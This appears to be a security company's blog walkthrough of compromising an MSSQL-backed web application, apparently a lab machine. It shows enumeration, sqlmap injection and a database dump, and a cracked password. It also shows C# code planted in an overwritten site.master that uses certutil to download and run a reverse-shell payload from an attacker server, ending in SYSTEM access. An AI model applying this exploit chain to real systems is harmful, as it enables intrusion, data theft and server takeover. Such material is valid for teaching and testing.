Ready to start a project with us? Let us know what's on your mind.

1501 Broadway STE 12060
New York, NY 10036-5601

    Select Service(s)*

    x Close


    • Blog articles related to hacking are only for informational and educational purposes. Any time the word “hacking” is used on this site, it shall be regarded as Ethical Hacking. You may try out these hacks on your own computer at your own risk. Performing hack attempts (without permission) on computers that you do not own is a serious crime under federal law.
    • Refer to the laws in your province/country before accessing, using, or in any other way utilizing these materials. These materials are foreducational and research purposes only.
    • Any actions and or activities relating to the material contained within this website is solely your responsibility. The misuse of the information in this website can result in criminal charges brought against the persons in question. The author and Winmill Software will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.

    In this demonstration we will exploit an MSSQL server through a penetration test, involving a series of SQL injections, that will give us unauthorized access to a web application. We will then leverage this access to overwrite a file and execute code which will grant us a reverse shell as SYSTEM into the target MSSQL server.

    We begin with an Nmap scan of the target IP address to identify open ports and running services (Figure 1).

    Figure 1: Nmap scan of

    We learn from the scan that ftp is running on port 21, smtp on port 25, smb on port 445, port 450 has a web application, and Windows Remote Management (WinRM) is running on port 5985. We will examine these one by one in search of potential attack vectors that can give us unauthorized access into the server.

    Attempting to authenticate to the FTP service as an anonymous user fails. This indicates that anonymous access is disabled (Figure 2).

    Figure 2: Anonymous login fails

    We connect to SMTP with Netcat and discover the running version to be Microsoft ESMTP MAIL Service, Version: 10.0.17763.1 (Figure 3).

    Figure 3: Netcat connection to port 25 – Microsoft ESMTP MAIL Service, Version: 10.0.17763.1

    Querying the ExploitDB with searchsploit for exploits for this SMTP version does not return any results (Figure 4).

    Figure 4: Search for SMTP exploits with no results returned

    We attempt to list the shares on the SMB server and are informed that anonymous access is denied (Figure 5).

    Figure 5: We are denied anonymous access to the shares

    Next, we’ll use Netcat to send data to the service on port 450. The HTTP response suggests that a web server is running on this port. Browsing the server on this port presents a Butch Repository page (Figure 6).

    Figure 6: Butch Repository page on

    When we first access a web server, we should attempt to find hidden files and directories, as they are likely to contain protected information. We use gobuster and the Kali Linux /usr/share/wordlists/dirb/common.txt wordlist to try to find hidden files and directories (Figure 7). We discover an interesting /dev directory. We will return to this. But first we test the page for SQL injection.

    Figure 7: The /dev directory is interesting

    We insert a single quote (‘) in the username field and hit enter. The single quote character is significant in SQL and we get a verbose SQL error in bright red (Figure 8). This indicates that the page is vulnerable to SQL injection.

    Figure 8: SQL error from single quote indicates a SQL injection vulnerability

    We use BurpSuite to save a copy of the request as butch-request.txt (Figure 9).

    Figure 9: Intercepted HTTP POST request

    We’ll run SQLMap against the server using the saved request as reference for the potentially injectable username field.

    The output reveals several default MSSQL databases as well as a master database. We can now dump any database with SQLMap because we have a verified injection point. We choose butch and run SQLMap again with the following configuration:

    sqlmap -r /home/kali/butch-request. –dbms mssql -D butch –dump

    This returns the password hash for the butch account. We allow SQLMap to attempt to crack the hash and obtain the password for butch: awesomedude (Figure 10).

    Figure 10: We obtain the password for the butch account: awesomedude

    We can now authenticate to the web app with this password. We log in as user butch and find a file repository with file-upload functionality (Figure 11).

    Figure 11: The butch repository allows uploads

    Attempting to upload an .aspx or .asp web shell results in an error, suggesting these file types are blacklisted.

    We attempt to upload other types of files and find that we can upload .txt files and, once uploaded, they are accessible from the web root. For example, if we were to upload a file named test.txt, we could access it at:

    In our previous enumeration, we discovered a /dev directory. Navigating to this directory reveals two files: style.css and site.master.txt (Figure 12). The CSS file isn’t interesting for our purposes, but the TXT file contains very useful information (Figure 13).

    Figure 12: Files in the /dev directory

    Figure 13: Text file found in the /dev directory

    The official Microsoft documentation for site.master indicates that this file provides a template for every page on an ASP.NET MVC-style application.

    The file indicates that this webpage uses C# as a backend language, uses a site.master file as a template, and often resides in the web root.

    Let’s review what we have discovered. First, it seems that the site.master file resides in the web root. We also know that we can upload files to the web root. By extension, we may be able to overwrite the site.master file with our own version, which could contain embedded code. If this overwrite is successful, we could reload the web page and our code may execute, giving us remote code execution.

    We’re ready to create a proof-of-concept exploit. We’ll begin by crafting a new site.master file. We’ll include the existing contents from the original file and append arbitrary C# code which outputs the name of the user who is running the web application:

    <%@ Language=”C#” src=”site.master.cs” Inherits=”MyNamespaceMaster.MyClassMaster” %>

    <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Strict//EN” “”>

    <html xmlns=”” lang=”en”>

    <head runat=”server”>


    <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

    <meta name=”application-name” content=”Butch”>

    <meta name=”author” content=”Butch”>

    <meta name=”description” content=”Butch”>

    <meta name=”keywords” content=”Butch”>

    <link media=”all” href=”style.css” rel=”stylesheet” type=”text/css” />

    <link id=”favicon” rel=”shortcut icon” type=”image/png” href=”favicon.png” />



    <div id=”wrap”>

    <div id=”header”>Welcome to Butch Repository</div>

    <div id=”main”>

    <div id=”content”>

    <br />

    <asp:contentplaceholder id=”ContentPlaceHolder1″ runat=”server”></asp:contentplaceholder>

    <br />







    string stdout = “”;

    string cmd = “whoami”;

    System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(“cmd”, “/c ” + cmd);

    procStartInfo.RedirectStandardOutput = true;

    procStartInfo.UseShellExecute = false;

    procStartInfo.CreateNoWindow = true;

    System.Diagnostics.Process p = new System.Diagnostics.Process();

    p.StartInfo = procStartInfo;


    stdout = p.StandardOutput.ReadToEnd();



    If our assumption about the site.master file is correct, we should now be able to upload this file to the web application. This will replace the existing file. Browsing (or refreshing) the web page reveals the output of our code near the bottom of the page (Figure 14).

    Figure 14: Notice nt authority\system in response to “whoami” command

    Now that we know we can execute arbitrary code on the server with this approach, let’s attempt to get a remote shell. We’ll modify our code at the bottom of our file as follows:


    string stdout = “”;

    ArrayList commands = new ArrayList();

    commands.Add(“certutil.exe -urlcache -split -f \”\” \”C:\\inetpub\\wwwroot\\shell.exe\””);


    foreach (string cmd in commands) {


    System.Diagnostics.ProcessStartInfo procStartInfo = new System.Diagnostics.ProcessStartInfo(“cmd”, “/c ” + cmd);

    procStartInfo.RedirectStandardOutput = true;

    procStartInfo.UseShellExecute = false;

    procStartInfo.CreateNoWindow = true;

    System.Diagnostics.Process p = new System.Diagnostics.Process();

    p.StartInfo = procStartInfo;


    stdout = p.StandardOutput.ReadToEnd();




    When it runs, this code will instruct the server to connect to a web server (that we control), download a reverse shell, and execute it. Let’s create our reverse shell with msfvenom (Figure 15).

    Figure 15: Msfvenom payload creation

    Next, we’ll start a web server to host the reverse shell and a Netcat listener to catch the reverse shell (Figure 16).

    Figure 16: Web server hosting the exploit and Netcat listener to catch the reverse shell

    Now we’re ready to test our exploit. If we upload our new site.master file to the website and then browse (or refresh) the home page, the code should execute and download and run our shell. If all went as planned, our Netcat listener should present us with a full SYSTEM shell on the web server!

    Figure 17: We are SYSTEM!

    This was only a demonstration, but once during a penetration test engagement with a US client, I was able to exfiltrate six complete databases from the client’s datacenter in the UK by using the SQLMap technique described above. 

    Don’t become the next victim of a breach. Schedule a penetration test today!